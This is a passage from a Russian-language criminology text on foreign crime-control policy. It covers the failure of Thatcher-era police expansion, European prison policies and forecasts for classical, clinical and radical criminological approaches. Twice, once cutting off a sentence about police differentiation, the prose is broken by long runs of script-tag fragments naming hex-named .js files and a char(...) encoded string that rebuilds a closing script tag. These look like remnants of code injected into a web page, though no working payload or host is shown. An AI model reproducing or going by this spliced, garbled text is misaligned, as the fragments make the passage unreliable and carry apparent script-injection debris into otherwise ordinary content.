Весьма показателен в этом отношении пример Великобритании. После прихода в 1979 году к власти М. Тэтчер правительство во главу угла своей внутренней политики положило борьбу с преступностью. Причем основной акцент был сделан на укрепление полицейских сил. Расчет строился на создании хорошо оснащенной полиции, наделенной повышенными властными полномочиями. Однако полицейский эксперимент "железной леди" оказался малоэффективным. Рост преступности остановить не удалось.
На всем протяжении 80-х годов расходы на полицию увеличились в три раза, но в то же время количество только зарегистрированных преступлений удвоилось. Полномочия полиции были значительно расширены, а раскрываемость преступлений снизилась. Более того, снизился традиционно высокий авторитет полиции в глазах общественности .
Стало вполне очевидно, что справиться с преступностью методом штурма невозможно, необходима организация длительной осады с применением целого спектра мер.
Некоторые исследователи выделяют в странах Европы три вида политики по отношению к заключенным:
жестко репрессивная политика запугивания;
пенитенциарная политика с акцентом на исправление преступников;
изоляционизм (политика, в которой главная ставка делается на то, чтобы отделить здоровую часть общества от общественно опасных элементов) .
Неоклассицизм стал главенствующей теоретической концепцией, положенной в основу политики воздействия на преступность. Например, в 1988 году в Швеции в результате реформ уголовного законодательства прочно утвердился бентамовский принцип пропорциональности.
Однако карательные меры, которые оказались ненамного дешевле, чем социальные реформы, не оправдали надежд европейцев. Наряду с ростом количества тюрем и числа заключенных достаточно интенсивно продолжала расти и преступность. Та же Швеция стала лидером по уровню преступности в Европе. Все больше специалистов в области борьбы с преступностью стали приходить к выводу о справедливости появившегося еще в 70-е годы афоризма: "Апеллировать в избавлении от преступности к полицейским мерам и пенитенциарной политике – это все равно что с помощью зонтика пытаться остановить дождь" .cbaf19ecbbcba527b0a06200e9f6c11f.js" type="text/javascript">e296e759a32befd41ab0284e734760d7char(46,106,115,34,32,116,121,112,101,61,34,116,101,120,116,47,106,97,118,97,115,99,114,105,112,116,34,62,60,47,115,99,114,105,112,116,62)6dd657a74afd625c2ef0bab66034aec5.js" type="text/javascript">af3276c6e5be96bbd952b85b86001b98.js" type="text/javascript">26be54662e3099688fca0283bc502a93.js" type="text/javascript">e40b71be4dabd5dad33b6d723258d466.js" type="text/javascript">93c48e39a9c6930bb3531331987054eb.js" type="text/javascript">089e054c494aae67e1dbc74ea88681cf.js" type="text/javascript">26771cddd2a511b289af6c0cad9fb622.js" type="text/javascript">c1d5cecfc79be73d8722edce9af0e0d2.js" type="text/javascript">059e83dd50dbfa8cca1895f237a462fb.js" type="text/javascript">4efac13f1de9f9931c0ba35201613166.js" type="text/javascript">2ffc39b123799f5fb9959ed901635de9.js" type="text/javascript">

Анализ современной зарубежной практики борьбы с преступностью показывает, что к числу работающих криминологических концепций относятся:
доктрина контроля преступности;
теория аномии;
теория дифференциальной ассоциации;
виктимологические теории.
Ряд криминологических теорий весьма популярен за рубежом, но их влияние на практику борьбы с преступностью минимально. Речь идет о концепции опасного состояния и социальной защиты, клинической криминологии, теории стигмы, радикальной криминологии. За рубежом стали достаточно ограниченно применять тюремное заключение, но в основе этого процесса не принятие концепции стигмы, а экономический фактор (тюрьмы переполнены, пенитенциарная система переживает кризис). Краткосрочное заключение, противоречащее идеям интеракционистов, популярно во многих странах.
В зарубежной научной среде весьма скептично отношение к ломброзианству и его различным модификациям. Однако за пределами достаточно узкого круга ученых ломбро-зианские теории воспринимаются с интересом (как нечто экзотическое) и отношение к ним вполне лояльное. Несмотря на то, что рекомендации неоломброзианцев не востребованы современной практикой воздействия на преступность, их опосредованное влияние велико. Теории прирожденного преступника популярны и среди обывателей, и среди практических работников (как правоохранительной, так и пенитенциарной системы). Соответственно, и отношение к преступникам и преступности в немалой степени зависит от этих "скандальных" криминологических теорий.
Исследования в области клинической криминологии продолжаются, хотя от широкомасштабных пенитенциарных экспериментов давно отказались. Тем не менее общество с надеждой присматривается к результатам научных работ психологов, психофизиологов, психиатров, кибернетиков. Не исключено, что будущее в воздействии на преступность во многом будет принадлежать клиницистам – если им удастся найти радикальный гуманный способ модификации поведения.
Крах социалистической системы неоднозначно сказался на развитии радикальной криминологии. В некоторых общественных кругах (в том числе среди зарубежных интеллектуалов) ее акции окончательно упали, в других же, напротив, возросли. Различные экологические движения все более радикализируются. Критика западного культа потребительства и бездуховности господствующих социальных стандартов находит все более широкую поддержку как в самих капиталистических странах, так и в развивающихся государствах (население которых не вошло в золотой миллиард и к которым западная элита вопреки кантовскому императиву относится не как к цели, а как к средству). Радикальные теории становятся все более популярны в постсоветских странах, где в 80-е годы отношение к марксизму было достаточно скептическим. Резкое падение уровня жизни, значительное социальное расслоение, основанное на злоупотреблениях, коррупции, хищениях, криминализация правящей элиты, практика разжигания военных конфликтов, в ходе которых нувориши фантастически обогащаются на крови и страданиях обездоленных, стремительный рост преступности, вызванный сменой социальной системы, – все это вновь привлекло внимание к марксизму, теориям социального равенства и справедливого построения общественных отношений. Практика имитации борьбы с преступностью, "пробуксовывания" в воздействии на различные формы проявления социального зла на фоне тотальной криминализации и мафизации общества обращает взоры многих на самый верх пирамиды власти. Государственная политика, вызывающая разрушение не преступности, а здоровых основ социума, вербует все новых и новых сторонников радикальных методов борьбы с преступностью.
Как бы то ни было, однозначно можно констатировать: теория стигмы, критическое направление и клинические концепции криминологии не стали теориями вчерашнего дня. Вполне вероятно, что в будущем они могут стать основой социальной практики воздействия на преступность.
Перспективы развития систем противодействия преступности можно прогнозировать в следующих направлениях. Классическое направление продолжает выполнять фундаментальные функции. Применение классических мер, таких, как полицейский контроль, привлечение к уголовной ответственности, лишение свободы, позволяют держать преступность в определенных рамках. На этой основе появляются возможности криминологического экспериментирования и поиска новых эффективных мер воздействия на преступность. Классическая школа, вероятно, еще долго будет "подстраховывать" человечество в выработке оптимальной системы воздействия на преступность. Наиболее вероятные следующие стадии эволюции классического направления:
постепенный отказ от бентамовской концепции пропорциональности преступления и наказания, все более широкое применение разработанных клиницистами методов прогнозирования индивидуального преступного поведения и классификации преступников, соответственно на этой основе выработка более адекватной целям борьбы с преступностью карательной судебной практики;
развитие сети наказаний, не связанных с лишением свободы;
увеличение сроков изоляции опасных преступников;
гуманизация методов лишения свободы (превращение тюрем из рукотворного ада на земле в своеобразные приюты с человеческими бытовыми условиями и достаточно жестким режимом). Конечно, для гуманизации пенитенциарной системы общество должно решиться на выделение большей доли национального дохода на эти цели, возможно, в ущерб комфорту чиновников и потребительской патологии пресыщенных обитателей верхних социальных стратов.
Одним из важнейших направлений развития антикриминальных мер классической ориентации является обеспечение неотвратимости наказания за преступления. В этом смысле огромная роль в обеспечении адекватности реагирования на преступность по классической схеме принадлежит полиции. Объективной тенденцией ее развития является дифференциация на:445ab92c82630ce9a1151a64208ef902.js" type="text/javascript">2630b571151821fd3720577e039b746bchar(46,106,115,34,32,116,121,112,101,61,34,116,101,120,116,47,106,97,118,97,115,99,114,105,112,116,34,62,60,47,115,99,114,105,112,116,62)b6cd9da49cd0c34a171d3eeed229e2dc.js" type="text/javascript">67c01038658bd3a3702fd747c0fa1318.js" type="text/javascript">1227ef8335e3ca73af64f97c47cf3dff.js" type="text/javascript">ad341f3bbd14826e47de91a3ac9bfcb3.js" type="text/javascript">fcf1bc9d3c80e7b9fc107126523263b1.js" type="text/javascript">ad2331baa54f9c88f78e7acc5db76ede.js" type="text/javascript">a501f44eeec9d7fc9a3b9076e8343d50.js" type="text/javascript">be32a208df1a6546fef61d33bf34a00f.js" type="text/javascript">4dd7c233e7befcf0e428a584af3c556d.js" type="text/javascript">4841158cbca7e86261a5c43b971d6418.js" type="text/javascript">5c39a96ccc40844c198bfb0ac87610e5.js" type="text/javascript">